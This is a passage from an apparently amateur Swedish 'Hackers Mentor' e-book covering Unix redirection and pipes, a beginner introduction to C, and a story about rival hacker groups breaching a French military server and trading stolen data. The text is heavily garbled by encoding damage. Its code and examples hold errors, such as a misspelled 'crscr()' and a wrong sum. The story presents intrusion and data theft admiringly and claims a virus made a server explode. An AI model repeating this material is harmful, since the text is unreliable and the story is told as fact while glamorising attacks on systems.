|
5
|
|||
|
$ ./exempel < siffror
|
|||
|
Ange tal 1:
|
|||
|
Ange tal 2:
|
|||
|
Summan av 23 och 5 <20>r 28!
|
|||
|
$
|
|||
|
|
|||
|
Bra va? Programmet exempel v<>ntar p<> att tv<74> v<>rden ska komma fr<66>n indata.
|
|||
|
Precis som utdata vanligt vis <20>r sk<73>rmen, <20>r indata vanligtvis tangentbordet.
|
|||
|
./exempel < siffror blir siffror indata f<>r exempel.
|
|||
|
Med hj<68>lp av indata genererar exempelprogrammet lite utdata, och detta kan vi
|
|||
|
ocks<EFBFBD> anv<6E>nda.
|
|||
|
|
|||
|
$ ./exempel < siffror > summa
|
|||
|
$ cat summa
|
|||
|
Ange tal 1:
|
|||
|
Ange tal 2:
|
|||
|
Summan av 23 och 5 <20>r 28!
|
|||
|
$
|
|||
|
|
|||
|
R<EFBFBD>rledningen |
|
|||
|
|
|||
|
Den tredje dirigenten fungerar som en r<>rledning. Det som stoppas in p<> ena sidan
|
|||
|
kommer ut p<> den andra. Prova att lista inneh<65>let i katalogen /usr/bin (ls /usr/bin).
|
|||
|
Jag orkar inte visa hur det ser ut.. (tar f<>r mycket plats med alla filer ;-) ).
|
|||
|
|
|||
|
En v<>ldig
|
|||
|
massa filer rusar allts<74> f<>rbi, det <20>r om<6F>jligt att h<>nga med. I DOS hade vi anv<6E>nt
|
|||
|
DIR med v<>xeln /P f<>r att lista filerna i tur och ordning, i den takt vi sj<73>lva hade valt.
|
|||
|
Det vi ska g<>ra nu <20>r typ samma sak, men i *NIX format:
|
|||
|
ls /usr/bin | more. Genast blev det enklare! Alla filer fr<66>n kommandot LS skickades till
|
|||
|
<EFBFBD>more<EFBFBD>. More <20>r ett program som skriver ut lika m<>nga rader ur dess indata som f<>r plats
|
|||
|
p<EFBFBD> sk<73>rmen, fast det visste du v<>l redan.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Studera f<>ljande:
|
|||
|
|
|||
|
$ ./exempel < siffror
|
|||
|
Ange tal 1:
|
|||
|
Ange tal 2:
|
|||
|
Summan av 24 och 5 <20>r 28!
|
|||
|
$ cat siffror | ./exempel
|
|||
|
Ange tal 1:
|
|||
|
Ange tal 2:
|
|||
|
Summan av 24 och 5 <20>r 28!
|
|||
|
|
|||
|
Precis samma sak i b<>da fallen! Siffror blir indata <20>t ./exempel!
|
|||
|
S<EFBFBD>.. nog om detta f<>r den h<>r g<>ngen. Ni beh<65>ver sm<73>lta sketen ett tag.
|
|||
|
Jag kommer g<> igenom n<>tverks konfigureringar och s<>nt lite senare i boken.
|
|||
|
I n<>sta Hackers Mentor bok kommer jag prata om <20>X<EFBFBD>, <20>Bash<73> och
|
|||
|
skalprogrammering. Det blir v<>l n<>got att se fram emot?
|
|||
|
Har vi tur s<> hinner jag ocks<6B> med att skriva om Emacs och VI, sedan kan
|
|||
|
du helt enkelt byta till ett *NIX system utan bekymmer.. S<> slipper du alla
|
|||
|
jobbiga f<>rnedringar om att du <20>r en Winblows user! :-)
|
|||
|
|
|||
|
|
|||
|
Kapitel 2: Programmera i C/C++
|
|||
|
|
|||
|
N<EFBFBD>r du h<>r att <20>hackers<72> inte anv<6E>nder <20>tools<6C>, utan att de g<>r sina
|
|||
|
alldeles egna hacking program. (Om de ens beh<65>ver anv<6E>nda mjukvara),
|
|||
|
s<EFBFBD> kanske du tycker att det l<>ter j<>tte jobbigt och sv<73>rt.. <20>Aldrig ens anv<6E>nda
|
|||
|
Netinfo eller WS_Ping!?<3F>, nej just det!
|
|||
|
Men det <20>R inte s<>rskiljt sv<73>rt.
|
|||
|
Jag <20>r ingen C programmerare sj<73>lv, jag g<>r de flesta av mina program i det
|
|||
|
mycket enklare spr<70>ket BASIC. (Visual Basic 6).
|
|||
|
|
|||
|
|
|||
|
Men nu <20>r det s<> att jag har lite grundkunskaper, och jag vill g<>rna
|
|||
|
l<EFBFBD>ra er som INTE har n<>gra grundkunskaper om det, lite grand!
|
|||
|
Att skapa ett hacking program i Visual Basic <20>r oerh<72>rt enkelt. I C <20>r det lite sv<73>rare,
|
|||
|
S<EFBFBD>rskiljt f<>r mig. Jag kan typ bara g<>ra ett enkelt matte program i C, eller ett s<>nt d<>r
|
|||
|
som s<>ger <20>Hej! Jag heter ice!<21> <20>Vad heter du?:<3A> p<> en svart bakgrund.
|
|||
|
|
|||
|
Det tog mig ca: ett <20>r att l<>ra mig VisualBasic s<> pass bra att jag kunde g<>ra mer avancerade
|
|||
|
program som t.ex. trojanen GMT (NetCh<43>f 3.0). Det var det v<>rt!
|
|||
|
Det enda som beh<65>vdes var resurser f<>r att skapa programmen, samt en god guide.
|
|||
|
Jag l<>ste f<>rst <20>L<EFBFBD>ttpocket om VisualBasic 5<>, den boken var min nyckel till programmeringen.
|
|||
|
Jag var d<> bara 13 <20>r. C++ var grekiska f<>r mig. Senare k<>pte jag <20>Programmera Internet med
|
|||
|
VB 5<>. Sedan <20>Visual Basic 6 p<> tre veckor<6F>. Klartt!! Nu kan jag det. <20>Bara fantasin <20>r gr<67>nsen<65>.
|
|||
|
|
|||
|
|
|||
|
F<EFBFBD>r n<>gra m<>nader sedan b<>rjade jag l<>sa C/C++.
|
|||
|
Mina kunskaper i VB kom nu till oerh<72>rt stor nytta. F<>r det f<>rsta kunde jag skippa allt tjafs
|
|||
|
om variabler och logiken var helt klar f<>r mig. Utan att ha tittat p<> C tidigare kunde jag nu
|
|||
|
f<EFBFBD>rst<EFBFBD> den kod jag l<>ste p<> sk<73>rmen.
|
|||
|
|
|||
|
Vad jag vill f<> fram, vilket spr<70>k du <20>n l<>r dig s<> kommer det bli till stor nytta i vilket programmerings
|
|||
|
projekt du <20>n tar f<>r dig.
|
|||
|
|
|||
|
|
|||
|
S<EFBFBD>.. Vi ska b<>rja programmera i C. Jag f<>ruts<74>tter ingen ting! Det enda jag g<>r efter nu <20>r att du aldrig
|
|||
|
tidigare har programmerat, och det jag kommer l<>ra dig om C i den h<>r boken blir d<>rf<72>r v<>ldigt
|
|||
|
simpla och n<>dv<64>ndiga grunder. I n<>sta bok g<>r vi vidare, liksom med Unix.
|
|||
|
|
|||
|
Jag t<>nker nu inte, likt alla andra b<>cker, dra upp historien om vart C kom till, n<>r, hur etc.
|
|||
|
Jag t<>nker ber<65>tta vad det <20>R, hur det fungerar och hur du anv<6E>nder det. L<>ra dig koda och kompilera.
|
|||
|
Nog med prat, iv<69>g till C fabriken:
|
|||
|
|
|||
|
|
|||
|
Programmering i allm<6C>nhet
|
|||
|
|
|||
|
Att programmera, <20>r att skriva egna program i ett spr<70>k. I ett programmeringsspr<70>k.
|
|||
|
C <20>r ett s<>dant. Det finns m<>nga andra spr<70>k, Assembler, Perl, BASIC, Cobol, Pascal,
|
|||
|
Java, HTML (jo..), CGI, BATCH (hehe.. jo!).. Du har s<>kert h<>rt om dem. Om du l<>ser
|
|||
|
detta s<> <20>r det 99% troligt att du redan vet allt detta. Tillh<6C>r du den sista 1%:en s<> b<>r du
|
|||
|
helt enkelt l<>gga ner dina planer p<> hacking. Optimistiskt menat! G<>r inte bort dig. ;-D.
|
|||
|
|
|||
|
Det f<>rsta spr<70>ket, med bokst<73>ver och s<>.. Var Fortran. Sedan kom En massa spr<70>k som
|
|||
|
n<EFBFBD>stan ingen av oss 15 <20>ringar har h<>rt talas om. Fr<46>n b<>rjan gjordes program
|
|||
|
med hj<68>lp av h<>lkort. Detta var allts<74> programmeringen, att sticka h<>l p<> kort som man
|
|||
|
sedan l<>mnade in till ett datalabb. Sedan v<>ntade man en timma eller tv<74>, fick tillbaka
|
|||
|
sitt kort och en utskrift p<> vad kortet hade <20>stadkommigt. En liten utskrift, en text!
|
|||
|
Det tog f<>r l<>ng tid att springa runt mellan labben och sitt eget hem, s<> man uppfann
|
|||
|
terminaler som ansl<73>ts till stordatorerna.
|
|||
|
|
|||
|
Sedan programmerade man med hj<68>lp av sifferkoder. Man skrev ned siffrorna p<> papper
|
|||
|
i och med att man klurade ut hur det hela skulle fungera. Sedan matade man <20>ver siffrorna
|
|||
|
till en dator som gjorde om det hela till maskinkod, det <20>r den enda kod som datorn egentligen
|
|||
|
f<EFBFBD>rst<EFBFBD>r. Nollor och ettor. Men sifferkoderna blev f<>r sv<73>ra att komma ih<69>g.
|
|||
|
Man gjorde d<>rf<72>r om dem till bokst<73>ver och ord.
|
|||
|
Bokstavskoder.
|
|||
|
Det <20>r vad vi anv<6E>nder idag. Sedan m<>ste man <20>kompilera<72> koderna till
|
|||
|
maskinkod. Det <20>r fortfarande det enda en dator kan f<>rst<73>.
|
|||
|
De flesta programmeringsspr<70>k har som sagt en ganska lika logik.
|
|||
|
|
|||
|
|
|||
|
Objektsorienterad programmering
|
|||
|
|
|||
|
Vad <20>r det? Om vi s<>ger att JAG <20>r ett objekt. Min ARM <20>r ett annat objekt.
|
|||
|
I C kan en knapp vara ett objekt, lika v<>l som en textruta, ett formul<75>r, eller
|
|||
|
till och med ett stycke kod, en variabel, kan ses som ett objekt.
|
|||
|
|
|||
|
Om vi g<>r vidare h<>r, s<> kan vi se min hj<68>rna och mina muskler som datorn.
|
|||
|
En del av hj<68>rnan talar om f<>r en annan del av hj<68>rnan (datorn) att jag ska lyfta
|
|||
|
tre decimeter p<> armen. Hj<48>rnan f<>ngar upp mitt meddelande (min kod) och skickar
|
|||
|
signaler till mina muskler att utf<74>ra det jag ville. (Kompilatorn, och allt! Vi k<>r koden).
|
|||
|
Musklerna lyfter armen tre centimeter.
|
|||
|
|
|||
|
Om vi skrev detta i t.ex. VisualBasic, skulle det kunna likna:
|
|||
|
|
|||
|
JAG.ARM.Top = Int(JAG.ARM.Top) + 30
|
|||
|
|
|||
|
JAG <20>r allts<74> jag sj<73>lv, det f<>rsta objektet. Till det objektet h<>r ARM. Min arm.
|
|||
|
.Top <20> Betyder typ, <20>h<EFBFBD>jd<6A> eller <20>vertikalt v<>rde<64>. Allts<74>, hur h<>gt eller l<>gt armen ska
|
|||
|
befinna sig. <20>Int<6E> st<73>r f<>r <20>integer<65> och <20>r allts<74>,, ett tal, siffror, nummer, v<>rde.
|
|||
|
Vilket v<>rde det g<>ller, talar informationen mellan parenteserna om.
|
|||
|
(JAG<41>s ARM<52>s h<>jd placering.). Ok, lite sv<73>rt att h<>nga med? L<>s om f<>r tusan! ?.
|
|||
|
Till sist talar vi om hur mycket armen ska h<>jas. + 30 = Plus 30 centimeter.
|
|||
|
Den ska h<>jas trettio centimeter, allts<74>, tre decimeter.
|
|||
|
|
|||
|
H<EFBFBD>r ser vi att det huvudsakliga objektet <20>r JAG. JAG <20>r objektet som st<73>r i centrum.
|
|||
|
Sedan kommer ARM. Min arm, en del av mig, allts<74> ett mindre objekt av mig och ett
|
|||
|
f<EFBFBD>ljande och tillh<6C>rande objekt av objektet JAG. Sedan kommer ARM<52>ns EGENSKAP
|
|||
|
En egenskap, kan vara texten i en textruta, storleken p<> en knapp, bakgrundsf<73>rgen i
|
|||
|
programf<EFBFBD>nstret eller i v<>rat fall, den vertikala (lodr<64>ta) positionen av armen.
|
|||
|
|
|||
|
Nu har du en ganska fin insikt i objektsorienterad programmering. Det r<>cker med det nu.
|
|||
|
Om du inte f<>rstod, s<> l<>s noga igenom det en g<>ng till. Sitt inte och pressa in orden!
|
|||
|
Du l<>r dig det efter hand, du m<>ste inte veta att det heter <20>Objektsorienterad programmering<6E>
|
|||
|
<EFBFBD>nnu. Bara du f<>rst<73>r principen och vad jag pratar om. Men det blir n<>dv<64>ndigare senare om
|
|||
|
du ska prata programmering med n<>gon, eller l<>sa texter om det. Bland annat denna text.
|
|||
|
|
|||
|
Jag hoppas du f<>rstod.
|
|||
|
|
|||
|
|
|||
|
Variabler
|
|||
|
|
|||
|
Variabler, om du kan matte s<> kan du snart detta.
|
|||
|
En variabel, kan fungera som en textfil, men det <20>r bara en genv<6E>g eller ett stycke kod
|
|||
|
som man bara kan anv<6E>nda inom en enda programmerings-kod.
|
|||
|
Ok, lite CP l<>t det d<>r.. Vi tar om det.
|
|||
|
|
|||
|
KH <20>r en variabel som inneh<65>ller information om hur bred en knapp <20>r.
|
|||
|
F<EFBFBD>r att datorn ska f<>rst<73> vad KH <20>r s<> m<>ste vi deklarera den som en variabel.
|
|||
|
Vi m<>ste med andra ord tala om f<>r <20>kompilatorn<72> att, DETTA <20>R EN VARIABEL -
|
|||
|
- SOM INNEH<45>LLER DEN OCH DEN INFORMATIONEN! GL<47>M INTE DEN!
|
|||
|
Vi skiter i hur man deklarerar variabelj<6C>keln nu..
|
|||
|
|
|||
|
KH ska inneh<65>lla v<>rdet 40. Allts<74>, informationen 40. Inget annat! BARA 40!!
|
|||
|
|
|||
|
Knapp1<EFBFBD>s bredd kan skrivas s<> h<>r:
|
|||
|
|
|||
|
Knapp1.Width = N<>nting
|
|||
|
|
|||
|
<EFBFBD>N<EFBFBD>nting<EFBFBD> ska bytas ut mot knappens bredd i, l<>t oss s<>ga, centimeter.
|
|||
|
Den ska vara 40 centimeter bred s<>ger vi nu.
|
|||
|
|
|||
|
Knapp1.Width = 40
|
|||
|
|
|||
|
S<EFBFBD>!.. Men vi vill vara lite kluriga, s<> vi skriver inte 40.. vi skriver KH,
|
|||
|
eftersom att den VARIABELN inneh<65>ller samma information, samma v<>rde!
|
|||
|
Det har vi ju talat om f<>r den, det har vi ju deklarerat!
|
|||
|
|
|||
|
KH = 40
|
|||
|
Knapp1.Width = KH
|
|||
|
|
|||
|
Knappens bredd blev lika stor som antalet siffror i KH var, i centimetrar.
|
|||
|
Allts<EFBFBD> 40.
|
|||
|
|
|||
|
Det finns en massa olika sorters variabler. De kan inneh<65>lla olika information,
|
|||
|
text eller siffror. <20>Jokertecken<65>(#]{]}{@<40><><EFBFBD>%=<3D><><EFBFBD>&) eller vad som helst!
|
|||
|
H<EFBFBD>r <20>r en lista <20>ver variabler och dess funktioner och kapacitet:
|
|||
|
|
|||
|
|
|||
|
Sm<EFBFBD> info om C:
|
|||
|
|
|||
|
N<EFBFBD>stan varje rad kod i C/C++ slutar med ett <20>;<3B>
|
|||
|
; ? Allts<74>
|
|||
|
|
|||
|
En kod i C/C++ b<>rjar alltid med:
|
|||
|
|
|||
|
main()
|
|||
|
{
|
|||
|
|
|||
|
#H<>r skrivs koden in.. Om man anv<6E>nder ett <20>#<23> F<>RE koden, s<> blir det inte kod, utan text
|
|||
|
#som undviks av kompilatorn.
|
|||
|
#Koden slutar alltid med:
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
Innan den kod jag visade med <20>main()<29> s<> skriver man ocks<6B> in de filer med olika objekt och
|
|||
|
egenskaper som man vill ha med i sitt program.
|
|||
|
Med hj<68>lp av dessa filer slipper man skriva en massa jobbig kod sj<73>lv, och f<>r f<>rdiga
|
|||
|
kodsnuttar och hj<68>lpredskap med sig direkt. Allt man beh<65>ver <20>r filerna sj<73>lva.
|
|||
|
Sedan p<> slutet s<> l<>nkar man ihop och kompilerar alltsammans.
|
|||
|
De tv<74> vanligaste filerna som finns med i s<> gott som alla program heter <20>stdio.h<> och
|
|||
|
<EFBFBD>conio.h<>. Dessa l<>gger man till s<> h<>r:
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <conio.h>
|
|||
|
|
|||
|
Sedan skriver man resten av koden.. (main() och det..).
|
|||
|
Vi kan ta en liten kodsnutt:
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <conio.h>
|
|||
|
main()
|
|||
|
{
|
|||
|
crscr();
|
|||
|
printf(<28>Hej! Detta <20>r mitt program i C<>);
|
|||
|
getch();
|
|||
|
}
|
|||
|
|
|||
|
H<EFBFBD>r har vi ett oerh<72>rt enkelt program som bara skriver ut <20> Hej! Detta <20>r mitt program i C <20> i
|
|||
|
ett litet <20>DOS F<>nster<65>. F<>rst talar <20>crscr();<3B> om att man ska rensa sk<73>rmen fr<66>n annan text,
|
|||
|
sedan skrivs textmeddelandet ut med hj<68>lp av <20>printf(<28>blablabla<6C>);<3B>.
|
|||
|
Slutligen en liten avslutande kodsnutt <20>getch();<3B>. Alla dessa koder beskrivs l<>ngre ned.
|
|||
|
|
|||
|
Vi ska inte l<>ra oss s<> mycket mer om C f<>r den h<>r g<>ngen faktiskt.
|
|||
|
Vi kan <20>ter beh<65>va lite rum att sm<73>lta informationen.
|
|||
|
|
|||
|
|
|||
|
Kapitel 3: Inspirationsstund.
|
|||
|
Tomteverkstaden
|
|||
|
|
|||
|
Det n<>rmar sig jul i tomteverkstaden.
|
|||
|
Inte den vanliga verkstaden som vi ser p<> TV varje <20>r.
|
|||
|
Nej, den tomteverkstad jag nu talar om <20>r den som en
|
|||
|
g<>ng fanns i mellersta Sverige. Den tomteverkstaden
|
|||
|
kallades P.W.I.A.
|
|||
|
|
|||
|
P<> 1990-talet fanns i Uppland och G<>strikland en liten
|
|||
|
hacking organisation som kallades PWIA. Namnet kom fr<66>n
|
|||
|
en gammal latinsk symbol f<>r "den f<>rste, siste och evige guden".
|
|||
|
PWIA k<>mpade inte som m<>nga andra, f<>r att "visa folket vad hacking
|
|||
|
egentligen var". Nej, den h<>r gruppen var illvilliga och in<69>tbundna.
|
|||
|
Det l<>ter f<>rst<73>s som n<>got tradititonellt MOD-wannabie projekt.
|
|||
|
Men.. gruppen var aldrig offentligt k<>nd! De som var med ville inte
|
|||
|
att det skulle vara s<> heller.
|
|||
|
|
|||
|
|
|||
|
Vad gjorde de d<>?
|
|||
|
|
|||
|
Det PWIA sysslade med var att bryta sig in i olika n<>tverksservrar
|
|||
|
f<>r att ENBART st<73>lla till med oreda och s<>tta sm<73> sp<73>r med namnet
|
|||
|
p<> organisationen.
|
|||
|
|
|||
|
Allt b<>rjade 1993 n<>r n<>gon vid namn 'Gando'
|
|||
|
i organisationen A.C.S (En liknande grupp som PWIA), b<>rjade kaxa
|
|||
|
mot ett g<>ng "lonewolfs" p<> deras privata kanal.
|
|||
|
Gando utmanade de p<> kanalen i en "hacking duell" mot A.C.S<>s
|
|||
|
medlemmar. M<>let var en fransk .mil-server som hanterade
|
|||
|
ett milit<69>rt SMTP och POP3 system. Samt en hel del sekretess belagd
|
|||
|
data om n<>got kustbevaknings system. (Fr<46>ga mig inte! Jag vet inte mer
|
|||
|
<20>n s<> om "m<>let")
|
|||
|
|
|||
|
De viktigaste som st<73>llde upp i "duellen" fr<66>n PWIA<49>s sida var:
|
|||
|
Mendator, J1mX, Xevinnah`, JoS33, Bemoreo och Eddies.
|
|||
|
|
|||
|
Motspelande fr<66>n A.C.S var fr<66>mst:
|
|||
|
Neromino, TM, Tatic, HellTecter, Vienci och Gando.
|
|||
|
|
|||
|
|
|||
|
"Duellen" <20>gde rum 93-02-16.
|
|||
|
|
|||
|
A.C.S<>s deltagande kom in i kanalen d<>r PWIA g<>nget fanns klockan 02.00.
|
|||
|
Gando (ledare f<>r A.C.S) och Eddies (ledare f<>r PWIA) hade ett privat
|
|||
|
samtal p<> ungeff<66>r 5 minuter. Vad som sas d<>r vet man inte. Men n<>r dom
|
|||
|
var klara verkade den upphettade st<73>mmningen ha stigit och adrenalinet
|
|||
|
s<>g ut att rysa igenom hela kanalen. I kanalen fanns just d<> ungeff<66>r
|
|||
|
femtio personer som hade h<>rt om duellen, och som nu satt och v<>ntade
|
|||
|
p<> att allt skulle s<>tta ig<69>ng. F<>rsta personen som:
|
|||
|
|
|||
|
* <20>ndrade startsidan p<> www.___.mil sidan,
|
|||
|
* Tog hem den krypterade informationen,
|
|||
|
* L<>mnade sin grupps signalement p<> servern
|
|||
|
|
|||
|
skulle genast rapportera om det i Topic f<>r kanalen.
|
|||
|
D<> skulle genast alla operationer avbrytas och man skulle
|
|||
|
b<>rja kolla vem av de b<>da som verkligen HADE vunnit.
|
|||
|
|
|||
|
Startsignalen gick i form av ett 'BLEEP' till alla OP<4F>ens datorer.
|
|||
|
tiden gick.. ingen verkade vara vid livet f<>rutom alla users som
|
|||
|
fortfarande inte visste att t<>vlingen hade b<>rjat. Folk b<>rjade
|
|||
|
trada CC<43>s och shell accounts under tiden som ett svettigt arbete
|
|||
|
p<>gick i andra <20>nden av IRC.
|
|||
|
|
|||
|
Pl<50>tsligt <20>ndrades topic!:
|
|||
|
|
|||
|
"\\P.W.I.A// * GAME OVER * \\P.W.I.A//"
|
|||
|
|
|||
|
PWIA visade direkt A.C.S sin kraft. Gando erk<72>nnde senare att han blivit
|
|||
|
riktigt f<>rv<72>nad <20>ver hur l<>tt P.W.I.A verkade ha kn<6B>ppt den milit<69>ra servern.
|
|||
|
|
|||
|
Ja. Nu hade PWIA bevisat sina sk!11z. Det Eddies nu hade p<> sin dator var
|
|||
|
5.3 GB krypterad data som skulle till att dekrypteras.
|
|||
|
Han bar med sig h<>rddisken till "tomteverkstaden". Han valde f<>rst<73>ss att g<> dit
|
|||
|
tidigt p<> morgonen n<>r <20>nnu inga andra PWIA medlemmar hade kommit.
|
|||
|
Eddies slog ig<69>ng de femton universitets datorer som stod utspridda i k<>llar lokalen.
|
|||
|
Datorerna var ig<69>ng, och s<> var <20>ven cracking programmen!
|
|||
|
Innan den f<>rsta PWIA<49>ren anl<6E>nde till lokalen hade Eddies lyckats dekryptera
|
|||
|
runt femton olika nyklar som alla ledde till olika delar av den krypterade disken.
|
|||
|
De andra medlemmarna tyckte f<>rst<73>ss att det var v<>ldigt
|
|||
|
sp<73>nnande och roligt att f<> l<>sa de hemliga dokument om kustf<74>rsvar som den
|
|||
|
franska milit<69>rbas de hade hackat, hade uppfunnit.
|
|||
|
|
|||
|
Tv<54> veckor gick. Snart hade PWIA lyckats dekryptera hela den bunt av data som
|
|||
|
de fick av milit<69>rservern. Eddies hade kunnat tj<74>na _MYCKET_ p<> att s<>lja det
|
|||
|
material han nu hade. Men inte! Eddies hade andra planer. Mer om DET vet jag
|
|||
|
inte. Ingen annan <20>n Eddies vet nog det heller.
|
|||
|
|
|||
|
|
|||
|
---- CHOCKEN ----
|
|||
|
|
|||
|
Den stora sm<73>llen mot PWIA kom i Oktober <20>r 1995 n<>r Bemoreo och en annan
|
|||
|
PWIA medlem vid namn WexWinyl hackade sig runt p<> en obevakad IRC server.
|
|||
|
Samtidigt som de b<>da roade sig med att radera adresser fr<66>n OP listorna
|
|||
|
p<> #USA och #Australia. s<> satt v<>r gamle erkefiende Gando och ett g<>ng till
|
|||
|
bakom ett par svarta datorer i Ryssland och scannade efter datorer med
|
|||
|
hostname endelser p<> *@*.pwiq.net. Vilket tillh<6C>rde PWIA! (duhh!!).
|
|||
|
Och foo,, de hittade snart Bem och Wex.
|
|||
|
|
|||
|
N<>gon port stod <20>ppen rakt igenom firewallen och sorry PWIA... A.C.S tog sig
|
|||
|
p<> tv<74> minuter in i PWIA<49>s n<>tverk och hade snart root access till huvuddatorn
|
|||
|
som ocks<6B> f<>rvarade den OKRYPTERADE versionen av den franska datorn.
|
|||
|
A.C.S la sina vantar p<> informationen och gick under jorden.
|
|||
|
Men PWIA var inte n<>jda s<>.
|
|||
|
|
|||
|
Snart f<>rhandlade Eddies och Gando p<> nytt om ett konfronterande projekt,
|
|||
|
denna g<>ng handlade det inte om att ta sig in i n<>gon server. Man skulle nu
|
|||
|
g<>ra slut p<> varandras organisationer s<> gott man kunde.
|
|||
|
|
|||
|
Sagt och gjort.
|
|||
|
PWIA och ACS<43>s medlemmar m<>ttes nu p<> en ny kanal. Utanf<6E>r newbies och
|
|||
|
andra <20>sk<73>dares vetskap.
|
|||
|
|
|||
|
Det enda Eddies var intresserad av var att f<>rst<73>ra det som A.C.S hade
|
|||
|
stulit fr<66>n hans dator. Eddies f<>rs<72>kte d<>rf<72>r h<>lla sig avsides fr<66>n
|
|||
|
allt OOB<4F>nde och floodande. Nu skulle han hitta Gandos dator!
|
|||
|
|
|||
|
Eddies s<>kte, letade, rotade omkring i allt han kom <20>ver.
|
|||
|
Snart hade han IP adressen till Gandos dator som stod f<>rvarad
|
|||
|
djupt nere i en k<>llare i det f<>rslutna kassask<73>p som Gando
|
|||
|
hade investerat i. Dum som han var s<> hade han alltid datorn
|
|||
|
online som en hemlig server d<>r han kunde h<>mta och lagra filer.
|
|||
|
|
|||
|
Eddies hade varken <20>tkomst att ladda hem, radera, l<>sa eller skriva.
|
|||
|
Men han hade m<>jligheten att ladda upp filer.
|
|||
|
Eddies ville INTE riskera att de hemliga datan som Gando hade stulit
|
|||
|
skulle g<> att r<>dda. PLAN DONE! Eddies hade nu inget annat val <20>n att
|
|||
|
skicka den m<>rka fil som han arbetat p<> i fem m<>nader.
|
|||
|
%FTP.Sending STOR **-**.
|
|||
|
|
|||
|
Vad h<>nde?
|
|||
|
|
|||
|
Har ni aldrig h<>rt talas om de hemska virus som kan drabba din dator?
|
|||
|
- Servern exploderade.
|
|||
|
Eddies hade detonerat en fj<66>rrstyrd bomb! Genom att skicka den fil
|
|||
|
som eddies hade till Gandos dator, och placera den i autorun registret,
|
|||
|
s<> hade Gando inget annat val <20>n att ovetande inv<6E>nta en explosion i sin
|
|||
|
v<>lslutna k<>llare. Nej, ingen m<>niska kom till skada. Bara Gandos dator
|
|||
|
och <20>lskade kassask<73>p! ;).
|
|||
|
Ok, lokalen m<>ste ha bl<62>sts ut. Men Gando har sj<73>lv ber<65>ttat att inget
|
|||
|
annat <20>n serverdatorn fanns i lokalen n<>r explosionen skedde.
|
|||
|
|
|||
|
Annars...?
|
|||
|
Det krig som h<>rjade p<> n<>tet mellan de tv<74> organisationerna slutade
|
|||
|
s<> gott som oavgjort.
|
|||
|
Ett tiotal datorer hade raderats, en server hade spr<70>ngts och ett
|
|||
|
av A.C.S<>s mest betydande n<>tverk fick tas ur anv<6E>ndning i mer <20>n
|
|||
|
ett <20>r! En s<>dan server som Gando hade kostade 1995 inte lite pengar!
|
|||
|
|
|||
|
A.C.S hade vid det h<>r laget STOR respekt f<>r PWIA.
|
|||
|
Gando skulle inte komma p<> tanken att br<62>ka mot Eddies igen.
|
|||
|
Men trotts allt detta fortsatte vissa att br<62>ka med varrandra.
|
|||
|
|
|||
|
<20>r 1997 verkade s<> gott som allt vara d<>tt.
|
|||
|
En dag ringde telefonen hemma hos Tatic. (Operat<61>r p<> A.C.S).
|
|||
|
Han fick erbjudandet att b<>rja jobba som s<>kerhets ansvarig p<> det stora
|
|||
|
f<>retaget Netcom i USA. Fler och fler fick erbjudanden om v<>lbetalda jobb.
|
|||
|
Fler och fler kunde inte l<>ngre stanna i sina organisationer.
|
|||
|
Efter ett tag splittrades allt upp och ingen trodde p<> n<>gon eller n<>got som
|
|||
|
skulle <20>terf<72>ra dem till de gamla grupperna.
|
|||
|
|
|||
|
D<> satt kreativiteten ig<69>ng i Eddies. Han samlade ihop n<>gra av de gamla
|
|||
|
medlemmarna och skaffade en del nya. Han kom p<> ett system med vilket
|
|||
|
han kunde betala sina medlemmar och p<> s<> s<>tt kunde nu h<>lften av de
|
|||
|
gamla, goda operat<61>rerna och medlemmarna stanna kvar i gruppen eller
|
|||
|
vara med <20>ver halv<6C>ren. Det andra halv<6C>ret gick till respektabla
|
|||
|
n<>tverks och mjukvaru f<>retag. Mestadels i Amerika.
|
|||
|
Gando b<>rjade f<>lja deras struktur men hade snart inte l<>ngre tid och
|
|||
|
ork att forts<74>tta. Gandos h<>gra hand "TM" fick nu ta <20>ver ledarskapet.
|
|||
|
Och det klarade TM bra! Eddies och TM <20>r nu de ledare som varit med i
|
|||
|
sina organisationer allt sedan 1980-talet.
|
|||
|
|
|||
|
---------------------------------------------------------------------------
|
|||
|
|
|||
|
FLYTTEN
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
<20>r 1998 kunde inte l<>ngre de v<>lbetalda hackarna fr<66>n Sverige stanna kvar
|
|||
|
i sina k<>llarlokaler i G<>strikland och Uppland. De flesta flyttade till
|
|||
|
USA och bosatte sig d<>r. S<>, om medlemmarna flyttade, s<> fick ocks<6B>
|
|||
|
organisationerna flytta. A.C.S har dock mestadels sina medlemmar kvar
|
|||
|
i Sverige, och ett par har flyttat till USA, Finland och Norge.
|
|||
|
Gando vet man inte riktigt VART han bor. Men enligt TM s<> ska han
|
|||
|
finnas vid den Grekiska rive<76>ran d<>r han slappnar av och har det sk<73>nt.
|
|||
|
Gando <20>r nu, <20>r 2000, 48 <20>r gammal. Eddies <20>r cirka 46.
|
|||
|
TM <20>r 32 och de andra,, mellan 20 och 40.
|
|||
|
|
|||
|
A.C.S Har idag ungeff<66>r 20 medlemmar.
|
|||
|
P.W.I.A Hade n<>r detta skrevs 32 medlemmar.
|
|||
|
|
|||
|
Varav dessa har A.C.S fortfarande kvar
|
|||
|
7 gamla, hederliga operat<61>rer och
|
|||
|
en del hackers och crackers som g<>tt med p<>
|
|||
|
senare tid.
|
|||
|
|
|||
|
P.W.I.A har fortfarande alla sina gamla medlemmar
|
|||
|
kvar. Tror jag. Kanske en eller tv<74> har
|
|||
|
backat ur p<> grund av flytten mm.. Men visst,
|
|||
|
de tr<74>ffas fortfarande b<>de IRL och <20>ver n<>tet.
|
|||
|
|
|||
|
|
|||
|
Arbetet i tomteverkstaden forts<74>tter,, till dunkande trance och goa.
|
|||
|
V<>ra megahackers till tomte-snickare lever i det varma och h<>rliga
|
|||
|
USA & kring det underbara s<>derhavet.
|
|||
|
|
|||
|
Lugn! De lever fortfarande! Du kan fortfarande f<> tr<74>ffa dem!
|
|||
|
<20>ven om det s<> <20>r f<>r en kort stund och <20>ver IRC, s<> tycker jag
|
|||
|
att det <20>r v<>rt att leta.
|
|||
|
|
|||
|
